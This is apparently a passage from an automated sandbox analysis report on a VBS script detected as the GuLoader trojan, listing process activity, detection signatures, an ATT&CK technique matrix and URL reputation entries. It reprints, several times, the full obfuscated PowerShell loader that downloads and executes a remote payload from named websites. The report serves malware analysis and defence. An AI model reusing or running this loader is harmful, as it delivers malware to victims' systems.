00000000.00000003.2080342771.000002E4454F9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000000.00000003.2094231162.000002E443601000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\0

Source: C:\Windows\System32\wbem\WMIC.exe

Process information queried: ProcessInformation

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_1200.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1200, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1576, type: MEMORYSTR

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic diskdrive get caption,serialnumber			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Columbusgs='Reallnningernes';;$Cares='Doegling';;$Novela='Dyrkere55';;$Pigesjovetridiocyte='Teister';;$peacefuller=$host.Name;function Multiplum($Pousserer){If ($peacefuller) {$Exitskiltes=2} for ($Pigesjovet=$Exitskiltes;;$Pigesjovet+=3){if(!$Pousserer[$Pigesjovet]){cls;break }$Vandstande+=$Pousserer[$Pigesjovet];$Fiskeinteressernes='Unmoralises'}$Vandstande}function Unchanneled($Pigesjovetmmunotoxin){ .($instrumentalis) ($Pigesjovetmmunotoxin)}$Kvabserne=Multiplum 'SpnOreActdu.D.W';$Kvabserne+=Multiplum 'AvE bPscMalDeIC ESlnCeT';$Bugfish=Multiplum ' fM.joD.zBeiLalAslF a i/';$Exosperm=Multiplum 'OpTStlSksRa1 .2';$Bagprojektion121='go[.an,oESltAd.OssK e,ar,aV AiGrC,fe OP poslIManTeT.rm rADdNP,a UgDaE,lrv.].j:,u: ,sS EMuCCeuRyrR.iRetK.YBap NRU o Tt UoHect OAnL H= .$ SeRoX lO ssMip nEVaRVam';$Bugfish+=Multiplum 'Ar5R .Kn0.o (gjWFoiP nM.d roBewdrs , VoNStTs Rv1Un0Re.Dr0V,;T UtWstiAnn,e6P,4Br; S Sux 6 N4En;T .urD vSt: E1Pr3Co1r .D.0s )Fl BaG eeR c GkPaoEn/Ja2 s0 U1fu0 C0L,1 l0Ha1Wa oF .iMirMleFufu osuxFo/ M1M 3.k1ny.sn0';$Whitefishery=Multiplum ',iuCiS yeHurVe- oAUngGhEIbN Rt';$Knysten=Multiplum 'Vah it ,t,tp.is S:Fr/Ec/,rwMewSew,i..epGuuBenSpeF.eretSl.,gaS e E/Hei.nt S/AnKKoo Gn utJvrPeaScs nt nrPai .g tsh.L mSes o n>N.hU t t ApCosCo: S/On/ rwL,wBlw U.Prf VtBesH e n hgGei inCaeFieJ rFrs t. .cV o LmP /gei ItCl/MiKCaoOrn otEmrAnaA sTotP r,miByg,itVe.HamB s Eo';$Tikronesedler=Multiplum 'Sm>';$instrumentalis=Multiplum 'SpISpe vX';$Ribboned46='Treater';$fabriksvarerne='\Pharmacists201.Str';Unchanneled (Multiplum 'un$Chg yL uO .BGea VLTi:SisVsAB L aTDvI CNBte Rs T=,n$ E HN.aVA.:GrAOvp ,PSrd CaS,TR aHn+ t$UnfPrASeBUdRMaI KByS EVReAInrA e krRaN oE');Unchanneled (Multiplum 'Af$SpGCaL aoI BElA rLRo:,as JInUs S.jKseeGim rI.lK,pkVoeLilPa= D$D.KSanS.YHaSTit EMenst. s .PboLdiIVit,a(As$U T riEnks,r Uo.aNFeeExsBre ADKolO.E.rRSy)');Unchanneled (Multiplum $Bagprojektion121);$Knysten=$Sjuskemikkel[0];$Thyreoid=(Multiplum ' l$P gN,lSlOF,BHaAPelOv:PeI.oN v aAPoLToIRed FET,f ODaRAasN I akM.R GILenD G U=EnN oE IW -Reo .bKnJNuE dCPuT,c A S rYLaSI,tBreDrm a.H.$ Ak vnoABoB es e PR hnKaE');Unchanneled ($Thyreoid);Unchanneled (Multiplum 'Pr$ PISan v aa l ,i ad eCofthoBirBisT,iRek or i fnPegUn.M HpreCoa dAfe DrSlss [by$ WLah Fi BtF eHef DiAds ohCoeArr yIo]Ce=W $ToBTiuP.g yf ,iF sUnh');$Reedmaker=Multiplum ' r$RaIUsn RvSea,al ai,mdFleAffT oFirK sGliKok PrV,iAvnFrg a.SeDJaoCew AnR,lT.ogra TdScFV i nlAne (De$KaKChnPlyFlsKltA,eQ,nm.,In$ Ap Ge DnMosMiiTiozanKvs,maCildrd IeSurNo)';$pensionsalder=$Saltines;Unchanneled (Multiplum 'eg$MeGF LTeoJabRiAr.LAl:,bK TIh DCeDBeiF.ES SMa=Ga(Get He,rSDitSa-AdpStaShTGehBe ,a$Kop TeLaN,eSB,i o fn sMaARalBeDPoeSeRpa)');while (!$Kiddies) {Unchanneled (Multiplum 'Hy$AngInlP oelbIma FlR,: FUU dSegnoaTevTueSp=Ar$ nP,kiFogDreAks AjMeoEjvR ebetUdn Ut AecarHui umSms alRus nbriStnH.gPh8') ;Unchanneled $Ree			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" ";$columbusgs='reallnningernes';;$cares='doegling';;$novela='dyrkere55';;$pigesjovetridiocyte='teister';;$peacefuller=$host.name;function multiplum($pousserer){if ($peacefuller) {$exitskiltes=2} for ($pigesjovet=$exitskiltes;;$pigesjovet+=3){if(!$pousserer[$pigesjovet]){cls;break }$vandstande+=$pousserer[$pigesjovet];$fiskeinteressernes='unmoralises'}$vandstande}function unchanneled($pigesjovetmmunotoxin){ .($instrumentalis) ($pigesjovetmmunotoxin)}$kvabserne=multiplum 'spnoreactdu.d.w';$kvabserne+=multiplum 'ave bpscmaldeic eslncet';$bugfish=multiplum ' fm.jod.zbeilalaslf a i/';$exosperm=multiplum 'optstlsksra1 .2';$bagprojektion121='go[.an,oesltad.ossk e,ar,av aigrc,fe op poslimantet.rm raddnp,a ugdae,lrv.].j:,u: ,ss emucceuryrr.iretk.ybap nru o tt uohect oanl h= .$ serox lo ssmip nevarvam';$bugfish+=multiplum 'ar5r .kn0.o (gjwfoip nm.d robewdrs , vonstts rv1un0re.dr0v,;t utwstiann,e6p,4br; s sux 6 n4en;t .urd vst: e1pr3co1r .d.0s )fl bag eer c gkpaoen/ja2 s0 u1fu0 c0l,1 l0ha1wa of .imirmlefufu osuxfo/ m1m 3.k1ny.sn0';$whitefishery=multiplum ',iucis yehurve- oaunggheibn rt';$knysten=multiplum 'vah it ,t,tp.is s:fr/ec/,rwmewsew,i..epguubenspef.eretsl.,gas e e/hei.nt s/ankkoo gn utjvrpeascs nt nrpai .g tsh.l mses o n>n.hu t t apcosco: s/on/ rwl,wblw u.prf vtbesh e n hggei incaefiej rfrs t. .cv o lmp /gei itcl/mikcaoorn otemranaa stotp r,mibyg,itve.hamb s eo';$tikronesedler=multiplum 'sm>';$instrumentalis=multiplum 'spispe vx';$ribboned46='treater';$fabriksvarerne='\pharmacists201.str';unchanneled (multiplum 'un$chg yl uo .bgea vlti:sisvsab l atdvi cnbte rs t=,n$ e hn.ava.:graovp ,psrd cas,tr ahn+ t$unfprasebudrmai kbys evreainra e krran oe');unchanneled (multiplum 'af$spgcal aoi bela rlro:,as jinus s.jkseegim ri.lk,pkvoelilpa= d$d.ksans.yhastit emenst. s .pboldiivit,a(as$u t rienks,r uo.anfeeexsbre adkolo.e.rrsy)');unchanneled (multiplum $bagprojektion121);$knysten=$sjuskemikkel[0];$thyreoid=(multiplum ' l$p gn,lslof,bhaapelov:pei.on v aapoltoired fet,f odaraasn i akm.r gilend g u=enn oe iw -reo .bknjnue dcput,c a s rylasi,tbredrm a.h.$ ak vnoabob es e pr hnkae');unchanneled ($thyreoid);unchanneled (multiplum 'pr$ pisan v aa l ,i ad ecofthobirbist,irek or i fnpegun.m hprecoa dafe drslss [by$ wlah fi btf ehef diads ohcoearr yio]ce=w $tobtiup.g yf ,if sunh');$reedmaker=multiplum ' r$raiusn rvsea,al ai,mdfleafft ofirk sglikok prv,iavnfrg a.sedjaocew anr,lt.ogra tdscfv i nlane (de$kakchnplyflsklta,eq,nm.,in$ ap ge dnmosmiitiozankvs,macildrd iesurno)';$pensionsalder=$saltines;unchanneled (multiplum 'eg$megf lteojabriar.lal:,bk tih dcedbeif.es sma=ga(get he,rsditsa-adpstashtgehbe ,a$kop telan,esb,i o fn smaaralbedpoeserpa)');while (!$kiddies) {unchanneled (multiplum 'hy$anginlp oelbima flr,: fuu dsegnoatevtuesp=ar$ np,kifogdreaks ajmeoejvr ebetudn ut aecarhui umsms alrus nbristnh.gph8') ;unchanneled $ree
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" ";$columbusgs='reallnningernes';;$cares='doegling';;$novela='dyrkere55';;$pigesjovetridiocyte='teister';;$peacefuller=$host.name;function multiplum($pousserer){if ($peacefuller) {$exitskiltes=2} for ($pigesjovet=$exitskiltes;;$pigesjovet+=3){if(!$pousserer[$pigesjovet]){cls;break }$vandstande+=$pousserer[$pigesjovet];$fiskeinteressernes='unmoralises'}$vandstande}function unchanneled($pigesjovetmmunotoxin){ .($instrumentalis) ($pigesjovetmmunotoxin)}$kvabserne=multiplum 'spnoreactdu.d.w';$kvabserne+=multiplum 'ave bpscmaldeic eslncet';$bugfish=multiplum ' fm.jod.zbeilalaslf a i/';$exosperm=multiplum 'optstlsksra1 .2';$bagprojektion121='go[.an,oesltad.ossk e,ar,av aigrc,fe op poslimantet.rm raddnp,a ugdae,lrv.].j:,u: ,ss emucceuryrr.iretk.ybap nru o tt uohect oanl h= .$ serox lo ssmip nevarvam';$bugfish+=multiplum 'ar5r .kn0.o (gjwfoip nm.d robewdrs , vonstts rv1un0re.dr0v,;t utwstiann,e6p,4br; s sux 6 n4en;t .urd vst: e1pr3co1r .d.0s )fl bag eer c gkpaoen/ja2 s0 u1fu0 c0l,1 l0ha1wa of .imirmlefufu osuxfo/ m1m 3.k1ny.sn0';$whitefishery=multiplum ',iucis yehurve- oaunggheibn rt';$knysten=multiplum 'vah it ,t,tp.is s:fr/ec/,rwmewsew,i..epguubenspef.eretsl.,gas e e/hei.nt s/ankkoo gn utjvrpeascs nt nrpai .g tsh.l mses o n>n.hu t t apcosco: s/on/ rwl,wblw u.prf vtbesh e n hggei incaefiej rfrs t. .cv o lmp /gei itcl/mikcaoorn otemranaa stotp r,mibyg,itve.hamb s eo';$tikronesedler=multiplum 'sm>';$instrumentalis=multiplum 'spispe vx';$ribboned46='treater';$fabriksvarerne='\pharmacists201.str';unchanneled (multiplum 'un$chg yl uo .bgea vlti:sisvsab l atdvi cnbte rs t=,n$ e hn.ava.:graovp ,psrd cas,tr ahn+ t$unfprasebudrmai kbys evreainra e krran oe');unchanneled (multiplum 'af$spgcal aoi bela rlro:,as jinus s.jkseegim ri.lk,pkvoelilpa= d$d.ksans.yhastit emenst. s .pboldiivit,a(as$u t rienks,r uo.anfeeexsbre adkolo.e.rrsy)');unchanneled (multiplum $bagprojektion121);$knysten=$sjuskemikkel[0];$thyreoid=(multiplum ' l$p gn,lslof,bhaapelov:pei.on v aapoltoired fet,f odaraasn i akm.r gilend g u=enn oe iw -reo .bknjnue dcput,c a s rylasi,tbredrm a.h.$ ak vnoabob es e pr hnkae');unchanneled ($thyreoid);unchanneled (multiplum 'pr$ pisan v aa l ,i ad ecofthobirbist,irek or i fnpegun.m hprecoa dafe drslss [by$ wlah fi btf ehef diads ohcoearr yio]ce=w $tobtiup.g yf ,if sunh');$reedmaker=multiplum ' r$raiusn rvsea,al ai,mdfleafft ofirk sglikok prv,iavnfrg a.sedjaocew anr,lt.ogra tdscfv i nlane (de$kakchnplyflsklta,eq,nm.,in$ ap ge dnmosmiitiozankvs,macildrd iesurno)';$pensionsalder=$saltines;unchanneled (multiplum 'eg$megf lteojabriar.lal:,bk tih dcedbeif.es sma=ga(get he,rsditsa-adpstashtgehbe ,a$kop telan,esb,i o fn smaaralbedpoeserpa)');while (!$kiddies) {unchanneled (multiplum 'hy$anginlp oelbima flr,: fuu dsegnoatevtuesp=ar$ np,kifogdreaks ajmeoejvr ebetudn ut aecarhui umsms alrus nbristnh.gph8') ;unchanneled $ree
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" ";$columbusgs='reallnningernes';;$cares='doegling';;$novela='dyrkere55';;$pigesjovetridiocyte='teister';;$peacefuller=$host.name;function multiplum($pousserer){if ($peacefuller) {$exitskiltes=2} for ($pigesjovet=$exitskiltes;;$pigesjovet+=3){if(!$pousserer[$pigesjovet]){cls;break }$vandstande+=$pousserer[$pigesjovet];$fiskeinteressernes='unmoralises'}$vandstande}function unchanneled($pigesjovetmmunotoxin){ .($instrumentalis) ($pigesjovetmmunotoxin)}$kvabserne=multiplum 'spnoreactdu.d.w';$kvabserne+=multiplum 'ave bpscmaldeic eslncet';$bugfish=multiplum ' fm.jod.zbeilalaslf a i/';$exosperm=multiplum 'optstlsksra1 .2';$bagprojektion121='go[.an,oesltad.ossk e,ar,av aigrc,fe op poslimantet.rm raddnp,a ugdae,lrv.].j:,u: ,ss emucceuryrr.iretk.ybap nru o tt uohect oanl h= .$ serox lo ssmip nevarvam';$bugfish+=multiplum 'ar5r .kn0.o (gjwfoip nm.d robewdrs , vonstts rv1un0re.dr0v,;t utwstiann,e6p,4br; s sux 6 n4en;t .urd vst: e1pr3co1r .d.0s )fl bag eer c gkpaoen/ja2 s0 u1fu0 c0l,1 l0ha1wa of .imirmlefufu osuxfo/ m1m 3.k1ny.sn0';$whitefishery=multiplum ',iucis yehurve- oaunggheibn rt';$knysten=multiplum 'vah it ,t,tp.is s:fr/ec/,rwmewsew,i..epguubenspef.eretsl.,gas e e/hei.nt s/ankkoo gn utjvrpeascs nt nrpai .g tsh.l mses o n>n.hu t t apcosco: s/on/ rwl,wblw u.prf vtbesh e n hggei incaefiej rfrs t. .cv o lmp /gei itcl/mikcaoorn otemranaa stotp r,mibyg,itve.hamb s eo';$tikronesedler=multiplum 'sm>';$instrumentalis=multiplum 'spispe vx';$ribboned46='treater';$fabriksvarerne='\pharmacists201.str';unchanneled (multiplum 'un$chg yl uo .bgea vlti:sisvsab l atdvi cnbte rs t=,n$ e hn.ava.:graovp ,psrd cas,tr ahn+ t$unfprasebudrmai kbys evreainra e krran oe');unchanneled (multiplum 'af$spgcal aoi bela rlro:,as jinus s.jkseegim ri.lk,pkvoelilpa= d$d.ksans.yhastit emenst. s .pboldiivit,a(as$u t rienks,r uo.anfeeexsbre adkolo.e.rrsy)');unchanneled (multiplum $bagprojektion121);$knysten=$sjuskemikkel[0];$thyreoid=(multiplum ' l$p gn,lslof,bhaapelov:pei.on v aapoltoired fet,f odaraasn i akm.r gilend g u=enn oe iw -reo .bknjnue dcput,c a s rylasi,tbredrm a.h.$ ak vnoabob es e pr hnkae');unchanneled ($thyreoid);unchanneled (multiplum 'pr$ pisan v aa l ,i ad ecofthobirbist,irek or i fnpegun.m hprecoa dafe drslss [by$ wlah fi btf ehef diads ohcoearr yio]ce=w $tobtiup.g yf ,if sunh');$reedmaker=multiplum ' r$raiusn rvsea,al ai,mdfleafft ofirk sglikok prv,iavnfrg a.sedjaocew anr,lt.ogra tdscfv i nlane (de$kakchnplyflsklta,eq,nm.,in$ ap ge dnmosmiitiozankvs,macildrd iesurno)';$pensionsalder=$saltines;unchanneled (multiplum 'eg$megf lteojabriar.lal:,bk tih dcedbeif.es sma=ga(get he,rsditsa-adpstashtgehbe ,a$kop telan,esb,i o fn smaaralbedpoeserpa)');while (!$kiddies) {unchanneled (multiplum 'hy$anginlp oelbima flr,: fuu dsegnoatevtuesp=ar$ np,kifogdreaks ajmeoejvr ebetudn ut aecarhui umsms alrus nbristnh.gph8') ;unchanneled $ree	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	221 Scripting	Valid Accounts	11 Windows Management Instrumentation	221 Scripting	11 Process Injection	1 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	121 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	121 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	113 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
v4BET4inNV.vbs	24%	ReversingLabs	Script-WScript.Trojan.GuLoader

Source	Detection	Scanner	Label
https://puneet.ae/social-media-marketing	0%	Avira URL Cloud	safe
https://puneet.ae/wp-content/themes/puneet/assets/css/main.css?ver=1657796780	0%	Avira URL Cloud	safe
https://puneet.ae/brand-strategy-dubai	0%	Avira URL Cloud	safe
https://puneet.ae/wp-content/plugins/contact-form-7/includes/js/index.js?ver=6.0.1	0%	Avira URL Cloud	safe
https://puneet.ae/wp-content/themes/puneet/assets/js/home-main.js?ver=1689674457	0%	Avira URL Cloud	safe
https://puneet.ae/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.15.0	0%	Avira URL Cloud	safe
https://puneet.ae/web-design-dubai	0%	Avira URL Cloud	safe
https://puneet.ae/branding-agency-dubai	0%	Avira URL Cloud	safe
http://www.puneet.ae	0%	Avira URL Cloud	safe
https://www.ftsengineers.com	0%	Avira URL Cloud	safe
https://puneet.ae/brand-guidelines-dubai	0%	Avira URL Cloud	safe
https://puneet.ae/wp-content/themes/puneet/assets/js/main-js.js?ver=1664775502	0%	Avira URL Cloud	safe
https://puneet.ae/about	0%	Avira URL Cloud	safe
https://puneet.ae/wp-content/uploads/2022/07/icon-branding-sr1.webp	0%	Avira URL Cloud	safe
https://puneet.aeceUr	0%	Avira URL Cloud	safe
https://puneet.ae/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=6.0.1	0%	Avira URL Cloud	safe
https://puneet.ae(	0%	Avira URL Cloud	safe
http://www.ftsengineers.com	0%	Avira URL Cloud	safe
https://puneet.ae/wp-content/themes/puneet/assets/css/responsive.css?ver=1705912311	0%	Avira URL Cloud	safe
https://puneet.ae/wp-content/uploads/2022/07/icon-branding-sr1-300x281.webp	0%	Avira URL Cloud	safe
https://puneet.ae/	0%	Avira URL Cloud	safe
https://puneet.ae/portfolio	0%	Avira URL Cloud	safe
https://puneet.ae/contact	0%	Avira URL Cloud	safe
https://puneet.ae/wp-content/themes/puneet/assets/images/bar.png	0%	Avira URL Cloud	safe
https://puneet.ae/wp-content/themes/puneet/assets/js/custom/primary.js?ver=1690182382	0%	Avira URL Cloud	safe
https://puneet.ae/wp-content/plugins/add-to-any/addtoany.min.css?ver=1.16	0%	Avira URL Cloud	safe
https://www.puneet.ae/it/Kontrastrigt.mso	0%	Avira URL Cloud	safe
https://puneet.ae/sitemap	0%	Avira URL Cloud	safe
https://puneet.ae/#person	0%	Avira URL Cloud	safe
https://puneet.ae/seo-dubai	0%	Avira URL Cloud	safe
https://puneet.ae/wp-content/themes/puneet/assets/css/bootstrap.min.css?ver=4.0	0%	Avira URL Cloud	safe
https://puneet.ae/wp-content/uploads/2022/07/icon-marketing-sr1.webp	0%	Avira URL Cloud	safe
https://puneet.ae/marketing-collateral-design-dubai	0%	Avira URL Cloud	safe
https://puneet.ae/wp-content/uploads/2022/03/favicon.png	0%	Avira URL Cloud	safe
https://puneet.ae/wp-content/uploads/2022/07/icon-design-sr1-67x63.webp	0%	Avira URL Cloud	safe
https://puneet.ae/wp-content/themes/puneet/assets/images/linked-in.svg	0%	Avira URL Cloud	safe
https://puneet.ae/wp-content/themes/puneet/assets/images/puneet-ae-portfolio-preview.pdf	0%	Avira URL Cloud	safe
https://puneet.ae/wp-content/themes/puneet/assets/css/style.css?ver=1705905999	0%	Avira URL Cloud	safe
https://puneet.ae/digital-marketing-agency-dubai	0%	Avira URL Cloud	safe
https://puneet.ae/wp-content/uploads/2023/10/Best-Print-Design.webp	0%	Avira URL Cloud	safe
https://puneet.ae/wp-content/plugins/contact-form-7/modules/recaptcha/index.js?ver=6.0.1	0%	Avira URL Cloud	safe
https://puneet.ae/wp-includes/js/dist/hooks.min.js?ver=4d63a3d491d11ffd8ac6	0%	Avira URL Cloud	safe
https://www.puneet.ae	0%	Avira URL Cloud	safe
https://puneet.ae/wp-content/themes/puneet/assets/images/pin.svg	0%	Avira URL Cloud	safe
https://puneet.ae/wp-json/	0%	Avira URL Cloud	safe
https://puneet.ae/wordpress-websites	0%	Avira URL Cloud	safe
https://puneet.ae/clients	0%	Avira URL Cloud	safe
http://ftsengineers.com	0%	Avira URL Cloud	safe
https://puneet.ae/comments/feed	0%	Avira URL Cloud	safe
https://puneet.ae/wp-content/themes/puneet/assets/images/testi-video.webp	0%	Avira URL Cloud	safe
https://puneet.ae/wp-content/uploads/2022/07/icon-marketing-sr1-67x63.webp	0%	Avira URL Cloud	safe
https://puneet.ae/wp-content/uploads/2022/07/icon-branding-sr1-67x63.webp	0%	Avira URL Cloud	safe
https://puneet.ae/wp-content/themes/puneet/assets/js/m	0%	Avira URL Cloud	safe
https://puneet.ae/ecommerce-development-dubai	0%	Avira URL Cloud	safe
https://puneet.ae/wp-content/uploads/2022/07/icon-design-sr1-360x337.webp	0%	Avira URL Cloud	safe
https://puneet.ae/wp-content/themes/puneet/assets/css/admin.css?ver=1.0	0%	Avira URL Cloud	safe
https://puneet.ae/feed	0%	Avira URL Cloud	safe
https://puneet.ae/wp-content/themes/puneet/assets/images/PS_logo.png	0%	Avira URL Cloud	safe
https://puneet.ae/blog	0%	Avira URL Cloud	safe
https://puneet.ae/#website	0%	Avira URL Cloud	safe
http://crl.m:	0%	Avira URL Cloud	safe
https://puneet.ae/linkedin-marketing-dubai	0%	Avira URL Cloud	safe
https://puneet.ae/wp-includes/js/dist/i18n.min.js?ver=5e580eb46a90c2b997e6	0%	Avira URL Cloud	safe
